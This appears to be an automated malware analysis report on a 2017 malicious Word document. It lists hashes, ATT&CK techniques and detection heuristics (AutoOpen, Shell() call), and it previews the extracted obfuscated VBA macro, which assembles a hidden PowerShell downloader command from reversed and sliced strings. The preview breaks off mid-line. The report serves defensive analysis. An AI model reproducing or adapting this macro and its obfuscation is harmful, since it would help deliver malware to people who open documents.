Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa5bc52122fe84f1…

MALICIOUS

Office (OLE)

173.0 KB Created: 2017-11-28 21:55:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 5d12a4c1a6d63c7970d546140462ce4b SHA-1: 206e17e07e881c3e1862534007ef790479ce71be SHA-256: fa5bc52122fe84f1daecfcebbc3c06d7f8442337d040135c2a6b8781021b78b7
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and utilizes the Shell() function, indicating an intent to execute external code. This is further supported by ClamAV detecting it as Doc.Macro.Obfuscation. The embedded URLs are suspicious and likely related to the payload delivery.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://iYD+iYDtasiYD+iYDwiYEh6sFZ� In document text (OLE body)
    • http://iYD+iYDtasiYD+iYDwiYEh6sFZIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 89186 bytes
SHA-256: beac4708c0d10bf50f832e5c4be107c2c59be756e8ba19510b897dc82bc4adf1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "LDJzYKAas"
Function LznChqwmX()
uXEQnEwuU = Array(StrReverse("uddKvdIazw"), StrReverse("EzwkvaooYC"), StrReverse("FzivCdhEGt"), StrReverse("jSvBrWAjdI"), StrReverse("fWOLRDtdBM"), StrReverse("QopwpuziHS"), StrReverse("vDTGNmButY"), StrReverse("aELPWjlSdw"))
OjvWRZZnOQB = Mid("PfzDsUC8hLr]89+[cHar]68),[sTrINg][cHar]39) S0C .( '+'6IqEnv:PUBlIC[13]+6IqeNv:pU7KhMDvL", 11, 70)
aRtFFGXhvXI = Array(StrReverse("EFkttQZGoL"), StrReverse("wQNSIsjksq"), StrReverse("nrZpzIQvMP"), StrReverse("ZIUwJlstWv"), StrReverse("EiNKqCOmRC"), StrReverse("UwAtwNjuwl"), StrReverse("AitZmnwOIW"), StrReverse("AqOwmFdOzu"))
OwPnLOud = Array(StrReverse("kDDududzMw"), StrReverse("XRcLNcCIwf"), StrReverse("BwjcmLdZZF"), StrReverse("JhFJhrAZcS"), StrReverse("ICizAIcACu"), StrReverse("hcTwzlTaIR"), StrReverse("RDZHnqMSdV"), StrReverse("bdfjWwQmbd"))
VJKjj = Array(StrReverse("scHJdfDhwI"), StrReverse("ishOWCZtEG"), StrReverse("aZrRtlzajr"), StrReverse("WODvbHSVkw"), StrReverse("nsqUifCdji"), StrReverse("QJmiqTlpQs"), StrReverse("idwFlTomnO"), StrReverse("jDJIShiWmO"))
shUFz = Mid("jpbzozoUTBzZUfFvQiZscpjsOUcL1HP+S62xtiYD+iYD(1iYD+iYD,iYD+iYD 34324'+'i'+'YD+iYD5);MIiYD+iYDjiYD+iYDhuiYD+iYDasiY'+'D+iYD iYD+iYD= MIjenv:puS62Wd8", 32, 112)
uonlpqwBFmv = Array(StrReverse("jdWfYjNHLw"), StrReverse("YZRLBFdbJK"), StrReverse("wJXhSEwmbw"), StrReverse("UhziiohtiG"), StrReverse("dFHjzBLUfR"), StrReverse("VpdRhZFoMU"), StrReverse("kafNbqamdN"), StrReverse("XjsDhqCqkR"))
crGiOBonf = Array(StrReverse("iTtFaNcZEI"), StrReverse("WcFsOJuliL"), StrReverse("qQqSvMzdLI"), StrReverse("kODCJOjtfY"), StrReverse("qPhirGwRuI"), StrReverse("nzobXSdbJN"), StrReverse("NwNvYIZDiz"), StrReverse("ZBGKVbiLao"))
jVXGXiwwziT = Array(StrReverse("SDicWnMKOf"), StrReverse("fZqqqlcqkw"), StrReverse("JEVUBhlloY"), StrReverse("zIKCQrRsLT"), StrReverse("GzznzCBUdQ"), StrReverse("GfGiHNiKbp"), StrReverse("CaWqiWPnZw"), StrReverse("TkfQqMFhUw"))
wYnzfvB = Mid("EjR]83+[ChAR]48+[ChAR]67),[ChAR]124-crEPlACe ([ChAR]54+[ChAR]73+[ChAR]113),[ChAR]36  -crEPlACe([ChAR]83+[ChAR]54+[ChAR]50),[ChAR]39)| . ( $ENV:comsPEC[4,2Hczmu4RZXZA3", 3, 152)
wuzowTGLN = Array(StrReverse("OijCVmabir"), StrReverse("kIjRKrClGj"), StrReverse("hviuilriGw"), StrReverse("jRAVwfPKal"), StrReverse("hwYrPRSozd"), StrReverse("ZwFqHTzpUj"), StrReverse("vwViHSHNSf"), StrReverse("crLUCjWrfR"))
hTWoMjCcMA = Array(StrReverse("jQHXRRBbuD"), StrReverse("JHQWRfbIFd"), StrReverse("nNviwVAqsv"), StrReverse("IAqdImTwYQ"), StrReverse("VntWoMUJwK"), StrReverse("lzcrLTVcaw"), StrReverse("RLjzuJRnNf"), StrReverse("LckoHzUYpk"))
rYJXi = Array(StrReverse("EEwlQYzcBZ"), StrReverse("fvTolCCQhu"), StrReverse("RXaRHtWFRL"), StrReverse("KYTEwtkipR"), StrReverse("UcfHtviOGq"), StrReverse("aupKMjdhiW"), StrReverse("BuKqPGbPrs"), StrReverse("SYbPZprTYL"))
LrTiuZiCZU = Mid("oHXAc6+iYD= MiYD+S62+S62iYDIjiS62+S62YS62+S62D+S62+S62iYDnsiYD+iYDad'+'asdiYD+iYD.neiYD+iYDS62E7lspwjRFGQPYS6Acu6C", 7, 88)
hBwmpvSwVsi = Array(StrReverse("BrrhJLXwRp"), StrReverse("QqXcwKDtbf"), StrReverse("vjvTwIMojM"), StrReverse("zwmquaTCpj"), StrReverse("mSVYOVEIpz"), StrReverse("vawKoUvYiA"), StrReverse("wjPFqUEhhY"), StrReverse("qBDrtdKXEd"))
ESGlmHQopNL = Array(StrReverse("LHwakQjIrQ"), StrReverse("PDASQaRpsm"), StrReverse("USWOYCSZlX"), StrReverse("pKJSKtvjFw"), StrReverse("XSXbcPYIzz"), StrReverse("XCblrskkCh"), StrReverse("zKXUaFthHW"), StrReverse("ihjtPBvvlJ"))
ZMlQiHoPa = Array(StrReverse("qHpTjEvjFP"), StrReverse("fnTLTTTUVv"), StrReverse("GMqiZzKhMo"), StrReverse("DziQTMLjCQ"), StrReverse("XchFippXth"), StrReverse("fPpTudRLtl"), StrReverse("tOWQLhEDsH"), StrReverse("IkSEYiikwk"))
dJFcjXSwj = Mid("biP5RlW5OXTYG1EM6jWLzKkjYDaiYD+iYDndiYD+iYD'+'omiS62+S62YD+'+'iYD;iYD+iYDMIjWrI1wlKcQiXBH2", 25, 52)
tIMTTpmzGs = Array(StrReverse("iJZmzmjXbR"), StrReverse("
... (truncated)